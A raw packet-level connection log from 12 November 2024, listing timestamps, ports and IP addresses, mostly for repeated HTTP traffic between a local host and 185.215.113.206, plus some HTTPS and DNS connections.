Nov 12, 2024 08:30:36.884083033 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.884094000 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884114981 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.884114981 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.884145021 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.884802103 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884813070 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884823084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884835005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884852886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884865999 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884865999 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.884876966 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884886980 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884897947 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.884900093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884911060 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884922028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884927988 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.884927988 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.884952068 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.885032892 CET	49867	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.885715961 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.885730028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.885740995 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.885752916 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.885765076 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.885777950 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.885786057 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.885829926 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.886302948 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.886312962 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.886322975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.886334896 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.886346102 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.886349916 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.886358023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.886373997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.886383057 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.886383057 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.886385918 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.886420965 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.886451960 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.886823893 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.886832952 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.886842966 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.886854887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.886864901 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.886876106 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.886889935 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.886925936 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.886925936 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.887485027 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.887492895 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.887502909 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.887515068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.887522936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.887537003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.887547970 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.887548923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.887548923 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.887558937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.887569904 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.887581110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.887588024 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.887603045 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.887624979 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.888333082 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.888349056 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.888365030 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.888377905 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.888391018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.888403893 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.888413906 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.888415098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.888459921 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.888756990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.888770103 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.888781071 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.888835907 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.895334005 CET	443	49869	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.900501013 CET	49872	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:36.900862932 CET	49869	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.900878906 CET	443	49869	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.900886059 CET	49866	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.900902987 CET	443	49866	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.915523052 CET	49868	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.954716921 CET	443	49865	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.954736948 CET	443	49865	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.954793930 CET	443	49865	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.954816103 CET	49865	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.954849958 CET	49865	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.955657959 CET	49865	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.955676079 CET	443	49865	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.956027031 CET	443	49868	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.956032038 CET	49887	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.956060886 CET	443	49868	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.956094980 CET	443	49887	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.956118107 CET	443	49868	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.956152916 CET	49868	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.956165075 CET	49887	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.956206083 CET	49868	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.956522942 CET	49887	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.956543922 CET	443	49887	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.957789898 CET	49868	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.957806110 CET	443	49868	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.958319902 CET	443	49866	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.958372116 CET	443	49866	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.958389997 CET	49866	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.958422899 CET	49866	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.964354038 CET	49866	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.964376926 CET	443	49866	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.969978094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.970027924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.970082998 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.970169067 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.972512007 CET	443	49867	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.972532034 CET	443	49867	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.972588062 CET	49867	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.972604990 CET	443	49867	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.972616911 CET	443	49867	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.972656965 CET	49867	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.973484039 CET	49867	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.973493099 CET	443	49867	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.977055073 CET	443	49869	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.977155924 CET	443	49869	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.977165937 CET	49869	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.977231026 CET	49869	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.981558084 CET	443	49871	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:36.982460022 CET	49871	443	192.168.2.5	20.125.209.212
Nov 12, 2024 08:30:36.982486963 CET	443	49871	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:36.982875109 CET	443	49871	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:36.985625029 CET	49871	443	192.168.2.5	20.125.209.212
Nov 12, 2024 08:30:36.985697985 CET	443	49871	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:36.986007929 CET	49871	443	192.168.2.5	20.125.209.212
Nov 12, 2024 08:30:36.986841917 CET	49869	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.986865044 CET	443	49869	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.998537064 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.998594999 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.998606920 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.998691082 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.998691082 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.998884916 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.998951912 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.998964071 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.999022961 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.999022961 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.999074936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.999111891 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.999115944 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.999131918 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.999186993 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.999277115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.999345064 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.999356031 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.999408960 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.999408960 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.999473095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.999560118 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.999572039 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.999598026 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.999687910 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.999720097 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.999732018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.999756098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.999799013 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.999886990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.999900103 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.999919891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.999926090 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.999932051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.999984980 CET	443	49872	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:36.999986887 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.999986887 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.000053883 CET	443	49872	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:37.000139952 CET	49872	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:37.000193119 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.000205040 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.000216961 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.000248909 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.000248909 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.000423908 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.000436068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.000448942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.000488043 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.000488043 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.000658035 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.000672102 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.000694036 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.000716925 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.000848055 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.000859022 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.000869989 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.000884056 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.000926971 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.000926971 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.000993013 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.001029015 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.001115084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.001127005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.001137972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.001173019 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.001228094 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.001338005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.001349926 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.001363993 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.001375914 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.001421928 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.001583099 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.001667976 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.001687050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.001714945 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.001822948 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.001836061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.001847982 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.001849890 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.001883030 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.001926899 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.002207994 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.002290964 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.002311945 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.002325058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.002403021 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.002418041 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.002531052 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.002542973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.002553940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.002562046 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.002567053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.002587080 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.002717018 CET	49872	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:37.002739906 CET	443	49872	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:37.002763033 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.002887964 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.002933025 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.002940893 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.002944946 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.003032923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.003051043 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.003128052 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.003150940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.003165007 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.003245115 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.003298998 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.003310919 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.003402948 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.003521919 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.003531933 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.003545046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.003555059 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.003570080 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.003582954 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.003587008 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.003607988 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.003643990 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.003846884 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.003931046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.003942013 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.003952026 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.003973007 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.003973007 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.004049063 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.004056931 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.004060984 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.004070997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.004082918 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.004097939 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.004097939 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.004123926 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.006438017 CET	49888	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:37.006472111 CET	443	49888	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:37.006544113 CET	49888	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:37.007180929 CET	49888	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:37.007193089 CET	443	49888	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:37.027328014 CET	443	49871	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:37.050810099 CET	57062	53	192.168.2.5	1.1.1.1
Nov 12, 2024 08:30:37.055711985 CET	53	57062	1.1.1.1	192.168.2.5
Nov 12, 2024 08:30:37.055803061 CET	57062	53	192.168.2.5	1.1.1.1
Nov 12, 2024 08:30:37.056572914 CET	57062	53	192.168.2.5	1.1.1.1
Nov 12, 2024 08:30:37.061480045 CET	53	57062	1.1.1.1	192.168.2.5
Nov 12, 2024 08:30:37.081666946 CET	443	49870	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:37.081909895 CET	49870	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:37.081938982 CET	443	49870	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:37.083005905 CET	443	49870	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:37.083075047 CET	49870	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:37.083996058 CET	49870	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:37.084057093 CET	443	49870	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:37.084270000 CET	49870	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:37.084276915 CET	443	49870	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:37.084311962 CET	49870	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:37.084340096 CET	443	49870	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:37.109915972 CET	443	49873	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:37.113593102 CET	49873	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:37.113610983 CET	443	49873	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:37.114726067 CET	443	49873	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:37.114793062 CET	49873	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:37.115737915 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.115792990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.115804911 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.115808964 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.115853071 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.115853071 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.115963936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.115969896 CET	49873	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:37.116028070 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116036892 CET	443	49873	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:37.116044998 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116060972 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.116106987 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.116128922 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116142988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116161108 CET	49873	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:37.116168976 CET	443	49873	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:37.116190910 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.116302013 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116317987 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116328955 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116339922 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116364002 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.116410971 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.116504908 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116517067 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116528988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116569996 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.116635084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116646051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116656065 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116734982 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.116763115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116775036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116785049 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116836071 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.116940975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116950989 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116967916 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.116997004 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.116997004 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.117074966 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.117099047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.117110014 CET	80	49809	185.215.113.206	192.168.2.5
